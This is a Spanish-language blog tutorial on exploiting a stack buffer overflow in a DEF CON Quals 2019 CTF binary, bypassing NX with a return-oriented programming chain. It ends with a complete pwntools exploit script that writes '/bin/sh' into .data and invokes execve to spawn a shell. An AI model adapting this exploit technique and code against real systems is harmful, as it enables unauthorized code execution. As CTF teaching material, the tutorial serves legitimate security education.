Exploit Development – Stack Based Buffer Overflow I

Buenos dias!! hace tiempo que no publico nada, y mencionaron hace poco por Twitter una entrada sobre ingeniería inversa de hace unos años y me dije, porque no volver a escribir. Según el CWE-121 Stack-based Buffer Overflow, «A stack-based buffer overflow condition is a condition where the buffer being overwritten is allocated on the stack (i.e., is a local variable or, rarely, a parameter to a function). There are generally several security-critical data on an execution stack that can lead to arbitrary code execution».

Usaremos como PoC (Prueba de concepto) un binario de la DEF CON QUALS 19. Esta estáticamente compilado y tampoco se puede ejecutar código en el stack, tiene la protección NX habilitado. NX es la abreviatura de stack no ejecutable. Su significado radica en que la región de memoria no es ejecutable. Así que si hay código perfectamente válido (código en ensamblador), no se puede ejecutar debido a sus permisos. Podemos usar vmmap desde GDB para ver los permisos en las asignaciones de memoria:

Como se puede apreciar en la imagen anterior se puede leer y escribir, pero no ejecutar nada. Es decir, si escribimos un shellcode aprovechando alguna vulnerabilidad no ejecutará su código por tanto no nos sirve esa opción. Tampoco hay libc ya que esta estáticamente compilado y todas las funciones que se necesitan están en el propio binario. Debido a esto existen un montón de gadgets potenciales de uso en un ROP (explicado más adelante).

¿Entonces cómo podemos realizar el bypass? No podemos ejecutar código desde el stack (shellcode). Mirando las regiones de memoria con la protección NX activado, vemos que las regiones de memoria tienen algunos espacios de memoria ejecutables donde se almacenan las instrucciones. Podemos aprovecharlos para ejecutar código haciendo uso de ROP (Return-Oriented Programming).

En el escenario que se nos plantea, podemos aprovechar que no tiene la protección PIE lo que nos hará el trabajo más factible. Position Independent Executable (PIE) es otra mitigación binaria extremadamente similar a ASLR (Es de sistema, siempre damos por hecho que esta habilitado). Se da en las regiones de código/memoria del binario. Las direcciones del binario son siempre las mismas de las secciones como .text siendo una ventaja, no necesitamos un leak (técnica que nos permite conocer partes/enteras de una dirección).

Análisis estático

Antes de comenzar el análisis estático tenemos que probar el binario, interactuar con la aplicación en si.

En este caso nos da la opción de introducir (algo) y luego se ve reflejado nuestro input en una especie de printf?. Si usamos strace podemos tracear que funciones se usa:

Una recomendación es usar Ghidra. Gracias a su decompilador podremos ver el código en C del binario. Tardará un poco en analizar ya que esta estáticamente compilado. También para no estar completamente perdidos, es recomendable ver las referencias a cadenas ya que así sabemos que parte de código se usan esas strings y ver la parte de código que nos interesa analizar.

Una vez encontradas las referencias nos sale el código seguidamente mostrado. En la parte de desensamblado cogemos la dirección para poder tenerlas a mano a la hora de poner breakpoints en el análisis dinámico con GDB. Una dirección a tener en cuenta podría ser 0x400c0e.

undefined8
FUN_00400bc1(undefined8 param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4,
            undefined8 param_5,undefined8 param_6)

{
  long lVar1;
  
  FUN_00410590(PTR_DAT_006b97a0,0,2,0,param_5,param_6,param_2);
  lVar1 = FUN_0040e790("DEBUG");
  if (lVar1 == 0) {
    FUN_00449040(5);
  }
  FUN_00400b4d();
  FUN_00400b60();
  FUN_00400bae();
  return 0;
}

Esa dirección corresponde a la llamada a la función FUN_00400b4d(). Esa función es un write o un puts. Las funciones que nos interesa son las siguientes:

void FUN_00400b60(void)

{
  undefined local_408 [1024];
  
  write("Any last words?");
  read(0,local_408,2000);
  write("This will be the last thing that you say: %s\n",local_408);
  return;
}

Y esta de aquí:

undefined8 read(undefined8 param_1,undefined8 param_2,undefined8 param_3)

{
  undefined4 uVar1;
  
  if (DAT_006bc80c == 0) {
    syscall();
    return 0;
  }
  uVar1 = FUN_0044be40();
  syscall();
  FUN_0044bea0(uVar1,param_2,param_3);
  return 0;
}

Este último es muy interesante. Parece que está escaneando nuestra entrada haciendo una llamada al sistema (syscall), en lugar de utilizar una función como scanf o fgets. Un syscall es esencialmente una forma en el que tu programa solicite al SO o al Kernel que haga algo. Mirando el código en ensamblador, vemos que establece el registro RAX igual a 0 xoreando eax por sí mismo. Para la arquitectura Linux x64, el contenido del registro rax decide qué syscall se ejecuta. Y cuando miramos en la tabla de syscall, corresponde con sys_read. https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

0x4498aa    xor    eax, eax
0x4498ac    syscall 
0x4498ae    cmp    rax, -0x1000

Análisis dinámico

Así que con eso, podemos ver que está escaneando en 2000 bytes (0x7d0) de entrada en el buffer que puede contener 1024 bytes (Buffer Overflow).

0x4498ac    syscall  <SYS_read>
        fd: 0x0 (/dev/pts/1)
        buf: 0x7fffffffde00 ◂— 0x0
        nbytes: 0x7d0

Tenemos un desbordamiento con el que podemos sobrescribir la dirección de retorno (RET) y conseguir la ejecución del código. La pregunta ahora es ¿cómo lo hacemos?. Mi estrategia es optar por usar sys_execve para ejecutar /bin/sh y obtener ejecución de código, pero para ello tenemos que escribir la string «/bin/sh» en algún sitio, al igual que ejecutar esa syscall.

Haremos una «cadena» ROP (Return Oriented Programming) y usaremos el desbordamiento del buffer para ejecutarla. Una cadena ROP se compone de gadgets, que son trozos de código (asm) en el propio binario que terminan en una instrucción ret (llevándolo al siguiente gadget). Esencialmente, sólo enlazaremos trozos del código del binario, para poder obtener ejecución de código. Como todo esto es código válido (no estamos ejecutando nada en el stack), no tenemos que preocuparnos de que el código no sea ejecutable (son direcciones que apuntan a esos gadgets). Como la protección PIE está desactivada, conocemos las direcciones de todas las instrucciones del binario (no necesitamos leak). Además, como está enlazado estáticamente, significa que es un binario grande con muchos gadgets (esta las funciones que usa el binario de la libc).

Para poder construir el syscall necesitamos:

RAXSYSCALLRDIRSIRDX
59sys_execveconst char *filename «/bin/sh»const char *const argv[]const char *const envp[]

La string «/bin/sh» no esta contenida en el binario debido a que no se ejecuta esa syscall. Tendremos que hacer que el registro RDI este el puntero donde escribamos la string «/bin/sh». ¿Cómo escribimos? Pues haciendo uso de un ROP. La idea ya quedo descrita con anterioridad pero lo repetimos, básicamente necesitamos sobreescribir aprovechando el buffer overflow el contenido de RET, con lo que nosotros queramos, en este caso tendremos que usar gadget.

  1. Sobreescribir ret para tener el control. Exactamente tenemos que enviar 1032*A+»ret overwrite» con gadget válido.

En este caso como prueba no usaremos un gadget válido sino simplemente una dirección del código, en este caso 0x400b60 para ver si de verdad hemos sobrescrito bien. El exploit tendría esta forma:

from pwn import *

# process
io = process('./speedrun-001')

# payload
payload = b""
payload += b"A"*1032 # Padding
payload += p64(0x00400b60) # Go to function()



# Send 
io.sendline(payload)

io.interactive()

Vemos que me ejecuta de nuevo la función imprimiéndome por salida estándar la string «Any last words?». El segundo paso sería escribir «/bin/sh» en .data. Como ya vimos al principio es «writeable» por tanto perfecto, no tenemos problemas.

2. Encontrar un sitio donde escribir «/bin/sh», yo he elegido en 0x6b9248 (.data).

3. Encontrar un gadget donde copiar la string y moverla al puntero donde se accederá. Podemos usar ROPgadget para encontrar gadget acordes. En este caso tendremos que hacer pop <registro> para sacar del stack lo siguiente que esta en el stack (recordamos que es un BoF, por tanto controlamos todo). Lógicamente será la «/bin/sh».

4. Finalmente tenemos que mover el valor de RAX al contenido del valor de RDX. En este caso el contenido del valor es básicamente la string y el valor de RDX es el puntero.

#write /bin/sh to .data 0x6b9248
rop += p64(0x0000000000415664) # pop rax ; ret
rop += b"/bin/sh\x00"
rop += p64(0x00000000004498b5) # pop rdx ; ret
rop += p64(0x6b9248) # .data
rop += p64(0x0000000000418397) # mov qword ptr [rdx], rax ; ret

5. Una vez tenemos ya la string ahora es simplemente hacer la syscall sys_execve. Según la tabla anterior, en ensamblador la llamada a la syscall tendría la siguiente forma:

pop rax, 0x3b
pop rdi, 0x6b9248
pop rsi, 0x0
pop rdx, 0x0
syscall

6. El exploit final quedaría de la siguiente manera:

from pwn import *

# process
io = process('./speedrun-001')
context.log_level = 'debug'


#pid = gdb.attach(io, gdbscript='''
#b *0x400c0e
#''')

# rop
rop = b""
rop += b"A"*1032 # Padding

#write /bin/sh to .data 0x6b9248
rop += p64(0x0000000000415664) # pop rax ; ret
rop += b"/bin/sh\x00"
rop += p64(0x00000000004498b5) # pop rdx ; ret
rop += p64(0x6b9248) # .data
rop += p64(0x0000000000418397) # mov qword ptr [rdx], rax ; ret

# syscall
rop += p64(0x0000000000415664) # pop rax ; ret
rop += p64(0x3b) # el valor 59 correspondiente a la syscall
rop += p64(0x0000000000400686) # pop rdi ; ret
rop += p64(0x6b9248) # .data
rop += p64(0x00000000004101f3) # pop rsi ; ret
rop += p64(0)
rop += p64(0x00000000004498b5) # pop rdx ; ret
rop += p64(0)
rop += p64(0x000000000040129c) # syscall

# Send
io.sendline(rop)

io.interactive()

Espero que sea de utilidad, saludos! @naivenom.